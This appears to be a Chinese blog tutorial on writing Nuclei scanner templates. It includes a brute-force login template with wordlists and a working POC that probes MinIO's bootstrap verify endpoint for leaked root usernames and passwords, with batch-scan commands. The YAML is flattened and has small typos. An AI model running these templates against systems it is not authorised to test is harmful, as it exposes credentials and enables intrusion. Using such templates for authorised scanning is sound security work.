nuclei 工具

2024-02-19 14:12
文章标签 工具 nuclei

本文主要是介绍nuclei 工具,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Nuclei是一款由GO语言编写的扫描器,它内置大量poc模板,并且也可以自己编写模板。同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。

nuclei

项目地址:https://github.com/projectdiscovery/nuclei/

一、 工作流程

1. 模板编写

2. 批量跑目标

二、模板格式

nuclei只支持yaml文件格式的模板,这里就不赘述yaml文件格式的标准了,不懂的同学可以单独出一期细讲。所以这里的话就只介绍怎么写。


在nuclei的yaml模板中,大概可以分为四部分。

1. id: # 模板的唯一ID,注意不能有空格
2. info: # 编写者的描述或是其他基础信息
3. 网络请求方法:
4. matchers: # 匹配器

三、模板编写

1.id

id指模板的唯一id,一般以该yaml文件的功能命名。假设我这里以minio信息泄露漏洞作为样例,这个地方就写minio-info-leak。

2.info

info这个模块会提供一些信息块,这些信息块都是一些固定的参数。例如:name、author、severity、description、reference。也可以使用tags参数自定义标签。

name:  # 名称
author: # 作者
severity:  # 危害程度
description: # 描述
reference: # 参考链接

3.网络请求方法

在nuclei中支持两种网路请求方法,第一种就是基础请求。基础请求就是每一个请求头都要单独定义,首先要定义请求方法,例如我这里演示的漏洞就是POST请求

http:- method: POST

路径

path:- "{{BaseURL}}/admin"

请求头

headers:# Custom user-agent headerUser-Agent: Some-Random-User-Agent# Custom request originOrigin: https://google.com

请求体

body: "admin=test"

第二种网络请求方式就是原始的数据包请求。raw,这种方式可以将整个完整的数据包写在raw里面,不需要每一个都单独定义。如下:

requests:- raw:- |POST :9000/minio/bootstrap/v1/verify HTTP/1.1Host: {{Hostname}}Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: MozillaAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

4.匹配器

匹配器使用matchers,如果有多个条件默认选择器为or。matchers的子参数有很多,下面以代码段的形式表示。如果想以and作为选择器需要在matchers前面加上一行:matchers-condition: and。例如我这里就以响应包的状态码和响应体的某一字段作为条件。

matchers-conditions: and
matchers:

matchers的子标签。首先是- type:

status # 匹配响应码
- type: status       #  匹配响应码为200的- 200        
word # 匹配关键词
- type: wordwords:- "minio"

5.字典

在变量中如果想要使用字典可以使用§pass§或者{{pass}}都可以表示变量。在给变量定义字典的时候需要选择测试方法,默认只能用一个参数,如果想使用多个参数需要加参数attack: clusterbomb
如下样例:

requests:- raw:- |-POST /admin HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Username={{admin}}&Pw={{pass}}payloads:admin: user.txtpass:  pass.txtattack: clusterbomb        # 多对多matchers-condition: andmatchers:- type: statusstatus:- 200

四、POC编写

minio信息泄露POC编写,这里我直接使用第一一种方法。

id: minio-secert-leak
info: author: M1keyname: minio-secert-leakseverity: medium   # low   high  description: leak username and passwd in 9001reference:  https://www.whalwl.comrequests:- method: POSTpath: - "{{BaseURL}}:9000/minio/bootstrap/v1/verify"headers:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36body: "  "matchers-condition: andmatchers:- type: statusstatus:- 200- type: wordwords:- "MINIO_ROOT_PASSWORD"- "MINIO_ROOT_USER"

到此,一个简单的POC就完成啦!接下来我们只需要再去调用这个yaml文件就可以了。我们需要先检验我们所写的yaml文件是否正确。如图即为正常,否则需要自己去找找哪里写错了,还有一点就是nuclei对缩进非常严格。

nuclei.exe  -t   minioc.emby   -validate # 检测文档有效性。

nuclei.exe -t minioc.emby -u  #    指定单个url    
nuclei.exe -t minioc.emby  -l url.txt  #  批量

如图即为成功!到此一个完整的可批量检测的poc就写好了。

这篇关于nuclei 工具的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/724918

相关文章

Python按照24个实用大方向精选的上千种工具库汇总整理

《Python按照24个实用大方向精选的上千种工具库汇总整理》本文整理了Python生态中近千个库,涵盖数据处理、图像处理、网络开发、Web框架、人工智能、科学计算、GUI工具、测试框架、环境管理等多... 目录1、数据处理文本处理特殊文本处理html/XML 解析文件处理配置文件处理文档相关日志管理日期和

使用Python开发一个Ditto剪贴板数据导出工具

《使用Python开发一个Ditto剪贴板数据导出工具》在日常工作中,我们经常需要处理大量的剪贴板数据,下面将介绍如何使用Python的wxPython库开发一个图形化工具,实现从Ditto数据库中读... 目录前言运行结果项目需求分析技术选型核心功能实现1. Ditto数据库结构分析2. 数据库自动定位3

基于Python实现简易视频剪辑工具

《基于Python实现简易视频剪辑工具》这篇文章主要为大家详细介绍了如何用Python打造一个功能完备的简易视频剪辑工具,包括视频文件导入与格式转换,基础剪辑操作,音频处理等功能,感兴趣的小伙伴可以了... 目录一、技术选型与环境搭建二、核心功能模块实现1. 视频基础操作2. 音频处理3. 特效与转场三、高

基于Python开发一个图像水印批量添加工具

《基于Python开发一个图像水印批量添加工具》在当今数字化内容爆炸式增长的时代,图像版权保护已成为创作者和企业的核心需求,本方案将详细介绍一个基于PythonPIL库的工业级图像水印解决方案,有需要... 目录一、系统架构设计1.1 整体处理流程1.2 类结构设计(扩展版本)二、核心算法深入解析2.1 自

Python办公自动化实战之打造智能邮件发送工具

《Python办公自动化实战之打造智能邮件发送工具》在数字化办公场景中,邮件自动化是提升工作效率的关键技能,本文将演示如何使用Python的smtplib和email库构建一个支持图文混排,多附件,多... 目录前言一、基础配置:搭建邮件发送框架1.1 邮箱服务准备1.2 核心库导入1.3 基础发送函数二、

基于Python实现一个图片拆分工具

《基于Python实现一个图片拆分工具》这篇文章主要为大家详细介绍了如何基于Python实现一个图片拆分工具,可以根据需要的行数和列数进行拆分,感兴趣的小伙伴可以跟随小编一起学习一下... 简单介绍先自己选择输入的图片,默认是输出到项目文件夹中,可以自己选择其他的文件夹,选择需要拆分的行数和列数,可以通过

Python使用pip工具实现包自动更新的多种方法

《Python使用pip工具实现包自动更新的多种方法》本文深入探讨了使用Python的pip工具实现包自动更新的各种方法和技术,我们将从基础概念开始,逐步介绍手动更新方法、自动化脚本编写、结合CI/C... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

Python使用OpenCV实现获取视频时长的小工具

《Python使用OpenCV实现获取视频时长的小工具》在处理视频数据时,获取视频的时长是一项常见且基础的需求,本文将详细介绍如何使用Python和OpenCV获取视频时长,并对每一行代码进行深入解析... 目录一、代码实现二、代码解析1. 导入 OpenCV 库2. 定义获取视频时长的函数3. 打开视频文

Linux中压缩、网络传输与系统监控工具的使用完整指南

《Linux中压缩、网络传输与系统监控工具的使用完整指南》在Linux系统管理中,压缩与传输工具是数据备份和远程协作的桥梁,而系统监控工具则是保障服务器稳定运行的眼睛,下面小编就来和大家详细介绍一下它... 目录引言一、压缩与解压:数据存储与传输的优化核心1. zip/unzip:通用压缩格式的便捷操作2.

sqlite3 命令行工具使用指南

《sqlite3命令行工具使用指南》本文系统介绍sqlite3CLI的启动、数据库操作、元数据查询、数据导入导出及输出格式化命令,涵盖文件管理、备份恢复、性能统计等实用功能,并说明命令分类、SQL语... 目录一、启动与退出二、数据库与文件操作三、元数据查询四、数据操作与导入导出五、查询输出格式化六、实用功